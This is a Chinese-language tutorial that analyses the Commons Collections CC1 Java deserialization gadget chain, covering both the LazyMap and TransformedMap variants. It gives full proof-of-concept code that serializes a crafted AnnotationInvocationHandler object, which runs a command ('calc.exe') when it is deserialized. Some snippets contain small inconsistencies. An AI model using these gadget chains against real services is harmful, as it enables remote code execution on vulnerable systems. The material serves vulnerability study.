前言
本身想直接分析ysoserial的cc链的,但是发现它在动态代理这一块进行了封装,这里直接分析编写好的构造链.由于链比较长,为了方便理解,本文会把CC1链拆成几部分来分析.在学习这篇文章前,需掌握反射和JDK动态代理.
介绍
Apache Commons Collections是Apache Commons的组件,它们派生自Java API并提供组件Java语言的体系结构.Commons Collections增强了Java集合框架。 它提供了几个功能来简化收集处理。 它提供了许多新的接口,实现和实用程序.
测试环境
JDK版本低于8u71
Commons Collections 3.1
依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
反射调用Exec
这部分比较基础,直接上代码
public class execDemo {
public static void main(String[] args) throws Exception{
// 取得 Runtime Class对象
Class clazz = Runtime.class;
// 通过反射获取Runtime类下的getRuntime()方法
Method getRuntime = clazz.getMethod("getRuntime");
// 执行getRuntime方法(属性为static,invoke参数为null),结果是返回一个Runtime对象
Object invoke = getRuntime.invoke(null);
// 通过反射获取Runtime类下的exec()方法
Method exec = clazz.getDeclaredMethod("exec", String.class);
// 通过反射调用,执行Runtime对象的exec方法
exec.invoke(invoke, "calc.exe");
}
}
这里需要补充一点,用getRuntime()来获取Runtime实例对象的原因是Runtime的构造方法是私有的,无法直接调用,需要格外设置setAccessible(true).

Transformer讲解
Transformer
Transformer是一个接口,继承它需要实现transform方法

下面为Transformer的实现类,圈起来的这三个类就是构造CC1链关键类,同样也都继承了Serializable接口。

ConstantTransformer
结构图:

代码很少,直接都贴出来
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
public Object getConstant() {
return this.iConstant;
}
}
先看transform方法及关联代码
可以看出来ConstantTransformer的transform直接返回iConstant,返回值与传入的input没有任何关联。iConstant可以通过构造方法传入值
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer
结构图:

先分析一下transform,主要看try的三行代码
public Object transform(Object input) {
// 判断传入不为null
if (input == null) {
return null;
} else {
try {
// 获取input的Class对象
Class cls = input.getClass();
// 利用反射去获取cls下的方法,iMethodName为方法名,iParamTypes为方法的参数类型
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//反射调用invoke执行input对象的method方法,iArgs为该方法的参数
return method.invoke(input, this.iArgs);
/* ---------------------------- 抛出异常 ------------------------------------- */
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
接下来去查看iMethodName、iParamTypes和iArgs,都是可以通过构造方法和反射进行修改的
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
可以发现这些值都是可控的,说明我们可以利用InvokerTransformer,来执行invoke进行反射调用其他类的方法。但是并不能直接调用Runtime的 exec 方法,因为它的构造方法是私有的,要通过getRuntime()来获取实例化对象,需要调用两次invoke
ChainedTransformer
结构图:

先去看实现接口的transform
通过代码可以发现this.iTransformers[i].transform(object)的返回值将会成为下一个方法this.iTransformers[i].transform(object)的参数。可以把它理解成递归
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
这里跟进一下iTransformers
iTransformers可以直接用构造方法赋值
// 私有
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
代码
public class transformerDemo {
public static void execute(String command) {
final String[] execArgs = new String[] {command};
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
java.lang.String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs) };
final Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
}
public static void main(String[] args) {
execute("calc.exe");
}
}
演示
这时候就可以都串起来了。ConstantTransformer直接返回一个Class对象,InvokerTransformer通过反射调用Class的方法,ChainedTransformer作为桥梁把他们连在一起。
final Transformer[] transformers = new Transformer[] {
// 获取Runtime的Class对象,作为下一个方法的参数
new ConstantTransformer(Runtime.class),
// 获取Runtime的getRuntime方法,作为下一个方法的参数
new InvokerTransformer("getMethod", new Class[] {
java.lang.String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 获取Runtime的实例化对象,作为下一个方法的参数
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 通过反射来调用Runtime对象的exec方法,执行命令
new InvokerTransformer("exec",
new Class[] { String.class }, new String[] {"calc.exe"} )
};
final Transformer transformerChain = new ChainedTransformer(transformers);
为了方便理解,debug一下
断点位置在ChainedTransformer的transform方法处(58行)

第一个执行的是new ConstantTransformer(Runtime.class)的transform方法

跟进一下,我们在入口传入的是null,返回的结果为Runtime的Class对象

第二个执行的是new InvokerTransformer("getMethod", new Class[] {java.lang.String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })的transform方法,传入的参数为Runtime的Class对象,返回的结果是Runtime.getRuntime()对象

跟进一下,可以发现input.getClass()拿到了java.lang.Class的Class对象,然后cls.getMethod获取java.lang.Class下的getMethod方法,最后method.invoke执行getMethod方法,获取Runtime类下的getRuntime方法

第三个执行的是new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })的transform方法,传入参数为Runtime.getRuntime()对象,返回结果为Runtime对象

跟进一下,可以发现input.getClass()拿到了java.lang.reflect.Method的Class对象,然后cls.getMethod获取java.lang.reflect.Method下的invoke方法,最后method.invoke执行invoke方法,获取Runtime的实例化对象

最后一个执行的是new InvokerTransformer("exec",new Class[] { String.class }, new String[] {"calc.exe"} ),传入的参数是Runtime的实例化对象,返回是exec执行“calc.exe”命令,弹出一个计算器

跟进一下,可以发现input.getClass()拿到了Runtime的Class对象,然后cls.getMethod获取Runtime类下的exec方法,最后method.invoke执行exec方法,执行“calc.exe”命令

构造链
CC1一共有两条链子,ysoserial的LazyMap链相对来说比较简单一点
LazyMap链
lazymap调用栈
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
代码
public class lazyMapDemo {
public static void execute(String command) throws Exception {
final String[] execArgs = new String[] {command};
final Transformer[] transformers = new Transformer[] {
// 获取Runtime的Class对象,作为下一个方法的参数
new ConstantTransformer(Runtime.class),
// 获取Runtime的getRuntime方法,作为下一个方法的参数
new InvokerTransformer("getMethod", new Class[] {
java.lang.String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 获取Runtime的实例化对象,作为下一个方法的参数
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 通过反射来调用Runtime对象的exec方法,执行命令
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs) };
final Transformer transformerChain = new ChainedTransformer(transformers);
// 创建一个LazyMap,把transformerChain传入
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 反射获取AnnotationInvocationHandler的Class对象
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射获取的AnnotationInvocationHandler类中第一个构造函数
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
// 禁止检查Java语言访问控制
constructor.setAccessible(true);
// 创建InvocationHandler的实例化对象,lazyMap被代理
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建代理对象
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
//最后再创建了一个AnnotationInvocationHandler的实例,然后将已经代理过的LazyMap再填进去。原因是因为,我们需要触发AnnotationInvocationHandler的ReadObject,而不是Map的ReadObject
Object handler = (InvocationHandler) constructor.newInstance(Target.class, proxyInstance);
// 序列化
String path = System.getProperty("user.dir")+"cc1.ser";
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(handler);
objectOutputStream.close();
//反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
objectInputStream.close();
}
public static void main(String[] args) throws Exception {
execute("calc.exe");
}
}
LazyMap
结构图

• LazyMap本质上也是一个Map,它允许指定一个Transformer作为它的工厂类
工厂类的意思是,当进行Map操作时,这个工厂类会对它进行修饰(使用工厂类的transform函数)
分析下关键代码
可以看出,LazyMap的构造方法属性为protected无法直接创建实例.不过可以用public static Map decorate(Map map, Transformer factory)方法来调用构造方法.
protected final Transformer factory;
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
重点主要是get方法,如果map不包含key的话,就会执行this.factory.transform(key),这里的this.factory可以传入ConstantTransformer,只要想一个办法触发它就好了
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
AnnotationInvocationHandler
这部分涉及到JDK动态代理
作为反序列化的入口点,结合上述条件,我们需要找到一个在重载了readObject函数中,调用map的get方法,也就是AnnotationInvocationHandler
先看看类声明
实现了InvocationHandler接口,说明AnnotationInvocationHandler是一个动态代理类,发现memberValues为Map类型

结构图:

先去看invoke,发现this.memberValues.get(var4),memberValues又是一个map,这里就可以触发map.get().

所以只要让this.memberValues为LazyMap就好了,触发get()就会跟着触发ConstantTransformer.通过动态代理,就可以把LazyMap包裹起来.
// 反射获取AnnotationInvocationHandler的Class对象
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射获取的AnnotationInvocationHandler类中第一个构造函数
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
// 禁止检查Java语言访问控制
constructor.setAccessible(true);
// 创建InvocationHandler的实例化对象,lazyMap被代理
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建代理对象
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
拓展一下:
loader是类加载器,interfaces 是代理要实现的服务接口,h是一个invocationHandler对象,表示的是 当动态代理对象调用方法的时候会关联到哪一个invocationHandler对象上,并最终由其调用。
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
这里proxyInstance在调用方法时,经过invocationHandler进行处理,invocationHandler通过invoke反射调用LazyMap对应的方法,并且进行修饰。
抽象一点来讲,LazyMap是一部电影,invocationHandler是电影院,电影院可以在播放电影(invoke)的时候插入广告(修饰),你也可以选择在不同的电影院播放这部电影(LazyMap),不过他们的广告内容不一样(修饰不一样),但一定会播放电影(invoke)。只要触发了播放电影,就会经过电影院进行播放。
最后重点来了
我们需要触发AnnotationInvocationHandler的invoke方法,而AnnotationInvocationHandler重载了readObject函数,经过代理,memberValues就是LazyMap,this.memberValues.entrySet()相当于触发了LazyMap的方法,需要经过代理,触发AnnotationInvocationHandler的invoke,到这里链子就成功构造好啦

最后再创建了一个AnnotationInvocationHandler的实例,然后将已经代理过的LazyMap再填进去。原因是因为,我们需要触发AnnotationInvocationHandler的ReadObject,而不是Map的ReadObject
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, proxyInstance);
TransformedMap链
TransformedMap本质上也是一个Map,主要的作用是在对其集合的元素进行增加,删除或修改时调用方法进行特定的修饰变换.
TransformedMap调用栈
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
代码
public class transformerDemo {
public static void execute(String command) throws Exception {
final Transformer[] transformers = new Transformer[] {
// 获取Runtime的Class对象,作为下一个方法的参数
new ConstantTransformer(Runtime.class),
// 获取Runtime的getRuntime方法,作为下一个方法的参数
new InvokerTransformer("getMethod", new Class[] {
java.lang.String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 获取Runtime的实例化对象,作为下一个方法的参数
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 通过反射来调用Runtime对象的exec方法,执行命令
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs) };
final Transformer transformerChain = new ChainedTransformer(transformers);
HashMap map = new HashMap();
// 这里key必须为"when",和CheckReturnValue的when()方法名字一样,value值任意
map.put("when","kradress");
// 这里key必须为"value",和Target.class的value()方法名字一样,value值任意
// map.put("value","kradress");
// 创建一个TransformedMap,把transformerChain传入
Map transFormedMap = TransformedMap.decorate(map,null,transformerChain);
// 反射获取AnnotationInvocationHandler的Class对象
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射获取的AnnotationInvocationHandler类中第一个构造函数
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
// 禁止检查Java语言访问控制
constructor.setAccessible(true);
// 创建InvocationHandler的实例化对象,transFormedMap被代理
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(CheckReturnValue.class, transFormedMap);
// InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
// 序列化
String path = System.getProperty("user.dir")+"cc1.ser";
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(invocationHandler);
objectOutputStream.close();
//反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
objectInputStream.close();
}
public static void main(String[] args) throws Exception {
execute("calc.exe");
}
}
TransformedMap
类声明:

结构图:

看一下构造函数
可以看到,其实这里和LazyMap也没什么区别,构造函数属性为protect,无法直接用构造方法创建实例,也用的是decorate()方法来获取该类对象
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Map transformMap(Map map) {
Map result = new LinkedMap(map.size());
Iterator it = map.entrySet().iterator();
while(it.hasNext()) {
Map.Entry entry = (Map.Entry)it.next();
result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
}
return result;
}
看一下关键代码
transformKey(Object object)、transformValue(Object object)和checkSetValue(Object value)都可以触发transform()方法,虽然它们属性为protected无法直接调用.
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
前两者倒是可以用put()来触发,可以看父类得知它的父类实现了Map接口,但是目前也找不到什么类可以通过重载readObject触发这个put().
那就从checkSetValue()来下手吧,去寻找什么方法能够触发它
AbstractInputCheckedMapDecorator
idea通过右键 -> Go To -> Super Method

跳转到父类AbstractInputCheckedMapDecorator,看类声明发现,这是一个抽象类
,checkSetValue也是一个抽象方法

先说一下抽象类:
- 子类在继承父类的时候,如果父类是抽象类,那么实例化子类时先实例化父类。
- 在抽象类的方法中调用了自己未实现的抽象方法,那么对应实例化的子类实现了此方法,在抽象类实例化之后,子类未实例化之前,抽象类可以调用子类实现的抽象方法。
在AbstractInputCheckedMapDecorator中,setValue(Object value)又调用了这个抽象方法,相当于调用了TransformedMap的checkSetValue()方法,最后
触发transform()方法
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
作为AbstractInputCheckedMapDecorator的内部类,它的父类AbstractMapEntryDecorator实现了Map.Entry接口
现在又有2个问题
- 怎么才能让
parent的值为TransformedMap - 怎么去触发
setValue()方法呢
AnnotationInvocationHandler
在 LazyMap 链中也提到过一次了,这里也同样是AnnotationInvocationHandler作为反序列化入口点,这里是在重载的readObject中触发Map.Entry的setValue方法.与 LazyMap 不同的是这里并没有用到动态代理,也不会调用AnnotationInvocationHandler的invoke

先贴出代码,方便分析
HashMap map = new HashMap();
map.put("value","kradress");
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transFormedMap);
先看看parent的值是怎么来的呢
先分析调用栈

在此处打个断点(AbstractInputCheckedMapDecorator$MapEntry)

先看AnnotationInvocationHandler的readObject

在实例化对象的时候,this.memberValues值为TransFormedMap
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transFormedMap);

没有通过entrySet()方法,就会通过继承调用父类AbstractInputCheckedMapDecorator的entrySet().iterator(),获得TransFormedMap的迭代器,用作遍历TransFormedMap中的每一个键值对。
Iterator var4 = this.memberValues.entrySet().iterator();
通过调用AbstractInputCheckedMapDecorator的next()遍历TransFormedMap的迭代器
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
}

这时候就成功把parent的值设置为TransFormedMap对象了

最后来看看关键点,如何去触发setVaule方法
HashMap map = new HashMap();
map.put("value","kradress");
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
这里得先提到AnnotationInvocationHandler的构造函数
// var1 必须是Annotation的子类
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
// 获取var1所有的接口
Class[] var3 = var1.getInterfaces();
// var1为注解类型 && var1只实现一个接口 && var3[0]必须为注解类
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
能满足条件的var1只能是注解类,而且只实现了Annotation接口
再来分析下readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// var2.memberTypes()返回一个Map,key为this.type中的方法
Map var3 = var2.memberTypes();
// 遍历this.memberValues(TransformedMap)
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
// 获取var5(TransformedMap)的key
String var6 = (String)var5.getKey();
// 获取var3中key为var6的value值
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
// 获取var5的value值
Object var8 = var5.getValue();
// var7不是var8的实例 && var8不是ExceptionProxy的实例
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
从这里开始分析
var2 = AnnotationType.getInstance(this.type);
AnnotationType
这里就简单解释下AnnotationType的getInstance方法
public static AnnotationType getInstance(Class<? extends Annotation> var0) {
//SharedSecrets.getJavaLangAccess()获取System对象,System实现了JavaLangAccess接口
JavaLangAccess var1 = SharedSecrets.getJavaLangAccess();
// 跟进System.getAnnotationType(var0)返回var0.getAnnotationType()
AnnotationType var2 = var1.getAnnotationType(var0);
if (var2 == null) {
// 走到构造函数
var2 = new AnnotationType(var0);
if (!var1.casAnnotationType(var0, (AnnotationType)null, var2)) {
var2 = var1.getAnnotationType(var0);
assert var2 != null;
}
}
return var2;
}
看了一下调用栈,总体来说是比较复杂的,一共调用了2次AnnotationType的getInstance方法

第一次拿到的var0为传入的注解类(Class<? extends Annotation> var0),如果var0没有getAnnotationType方法,返回null,进入if语句
var1.getAnnotationType(var0) (klass为var0)


来到构造函数,把var0的所有方法的名称作为key传入memberTypes

在构造函数中经过一系列处理,再一次调用AnnotationType的getInstance,最后拿到的var2中memberTypes的中,key为传入注解类(Class<? extends Annotation> var0)的方法名

readObect
继续回到readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// var2.memberTypes()返回一个Map,key为this.type中的方法
Map var3 = var2.memberTypes();
// 遍历this.memberValues(TransformedMap)
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
// 获取var5(TransformedMap)的key
String var6 = (String)var5.getKey();
// 获取var3中key为var6的value值,一个Class对象
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
// 获取var5的value值
Object var8 = var5.getValue();
// var7不是var8的实例 && var8不是ExceptionProxy的实例
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
来看看var6和var7
要想var6的值不为null,在创建TransformedMap对象的时候,传入的HashMap不为空,
HashMap map = new HashMap();
map.put("value","kradress");
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
要想var7的值不为null,var3也不能为空
// var3 的key为 传入的注解类的方法名
Map var3 = var2.memberTypes();

在创建AnnotationInvocationHandler的时候,传入的注解类必须有声明方法
nvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
然后var6的值为var5(TransformedMap)的key,要和var3的key一致,var7才不等于null
Map var3 = var2.memberTypes();
// 获取var5的key值
String var6 = (String)var5.getKey();
// 获取var3中对应key(var6)的value值
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (var7 != null) {
// 获取var5的value值
Object var8 = var5.getValue();
// var7不是var8的实例 && var8不是ExceptionProxy的实例
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
因此在创建TransformedMap的时候,HashMap的key值需要和创建AnnotationInvocationHandler时传入的方法名一样才行
Target.class和Retention.class都符合条件,都只有1个方法名value
map.put("value","kradress");
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);

除了这两个,还有很多注解类也可以,这里再列一个CheckReturnValue.class,有兴趣的师傅可以再找找
When when() default When.ALWAYS;
对应的key就要改为when
map.put("when","kradress");
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(CheckReturnValue.class, transFormedMap);

HashMap map = new HashMap();
map.put("when","kradress");
Map transFormedMap = TransformedMap.decorate(map,null ,transformerChain);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, transFormedMap);
这样就能成功走到setValue了
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
到此为止,已经分析完了,具体步骤可以看看调用栈
总结
JDK8u71后无法复现该漏洞,核心原因是,8u71以后,AnnotationInvocationHandler的readObject中,不再直接操作我们给的Map,而是新创建了一个LinkedHashMap,导致无法触发后面的payload